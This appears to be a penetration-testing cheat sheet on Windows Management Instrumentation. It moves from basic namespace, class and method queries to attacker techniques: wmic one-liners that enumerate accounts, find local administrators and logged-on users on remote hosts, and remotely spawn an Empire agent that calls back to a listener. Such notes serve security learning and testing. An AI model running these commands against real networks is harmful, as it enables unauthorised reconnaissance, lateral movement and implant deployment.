Wmi allows to open process in hosts where you know username/(password/Hash). Then, Wmiexec uses wmi to execute each command that is asked to execute (this is why Wmicexec gives you semi-interactive shell).
dcomexec.py: This script gives a semi-interactive shell similar to wmiexec.py, but using different DCOM endpoints (ShellBrowserWindow DCOM object). Currently, it supports MMC20. Application, Shell Windows and Shell Browser Window objects. (from here)
WMI is divided into a directory-style hierarchy, the \root container, with other directories under \root. These “directory paths” are called namespaces.
List namespaces:
#Get Root namespaces
gwmi -namespace "root" -Class "__Namespace" | Select Name
#List all namespaces (you may need administrator to list all of them)
Get-WmiObject -Class "__Namespace" -Namespace "Root" -List -Recurse 2> $null | select __Namespace | sort __Namespace
#List namespaces inside "root\cimv2"
Get-WmiObject -Class "__Namespace" -Namespace "root\cimv2" -List -Recurse 2> $null | select __Namespace | sort __Namespace
List classes of a namespace with:
gwmwi -List -Recurse #If no namespace is specified, by default is used: "root\cimv2"
gwmi -Namespace "root/microsoft" -List -Recurse
The WMI class name eg: win32_process is a starting point for any WMI action. We always need to know a Class Name and the Namespace where it is located.
List classes starting with win32:
Get-WmiObject -Recurse -List -class win32* | more #If no namespace is specified, by default is used: "root\cimv2"
gwmi -Namespace "root/microsoft" -List -Recurse -Class "MSFT_MpComput*"
Call a class:
#When you don't specify a namespaces by default is "root/cimv2"
Get-WmiObject -Class win32_share
Get-WmiObject -Namespace "root/microsoft/windows/defender" -Class MSFT_MpComputerStatus
WMI classes have one or more functions that can be executed. These functions are called methods.
#Load a class using [wmiclass], leist methods and call one
$c = [wmiclass]"win32_share"
$c.methods
#Find information about the class in https://docs.microsoft.com/en-us/windows/win32/cimwin32prov/win32-share
$c.Create("c:\share\path","name",0,$null,"My Description")
#If returned value is "0", then it was successfully executed
#List methods
Get-WmiObject -Query 'Select * From Meta_Class WHERE __Class LIKE "win32%"' | Where-Object { $_.PSBase.Methods } | Select-Object Name, Methods
#Call create method from win32_share class
Invoke-WmiMethod -Class win32_share -Name Create -ArgumentList @($null, "Description", $null, "Name", $null, "c:\share\path",0)
This how you can check if WMI service is running:
#Check if WMI service is running
Get-Service Winmgmt
Status Name DisplayName
------ ---- -----------
Running Winmgmt Windows Management Instrumentation
#From CMD
net start | findstr "Instrumentation"
Get-WmiObject -ClassName win32_operatingsystem | select * | more
Get-WmiObject win32_process | Select Name, Processid
From an attacker’s perspective, WMI can be very valuable in enumerating sensitive information about a system or the domain.
wmic computerystem list full /format:list
wmic process list /format:list
wmic ntdomain list /format:list
wmic useraccount list /format:list
wmic group list /format:list
wmic sysaccount list /format:list
Get-WmiObject Win32_Processor -ComputerName 10.0.0.182 -Credential $cred
For example, here’s a very stealthy way to discover local admins on a remote machine (note that domain is the computer name):
wmic /node:ordws01 path win32_groupuser where (groupcomponent="win32_group.name=\"administrators\",domain=\"ORDWS01\"")
Another useful oneliner is to see who is logged on to a machine (for when you’re hunting admins):
wmic /node:ordws01 path win32_loggedonuser get antecedent
wmic can even read nodes from a text file and execute the command on all of them. If you have a text file of workstations:
wmic /node:@workstations.txt path win32_loggedonuser get antecedent
We’ll remotely create a process over WMI to execute a Empire agent:
wmic /node:ordws01 /user:CSCOU\jarrieta path win32_process call create "**empire launcher string here**"
We see it executed successfully (ReturnValue = 0). And a second later our Empire listener catches it. Note the process ID is the same as WMI returned.
All this information was extracted from here: https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/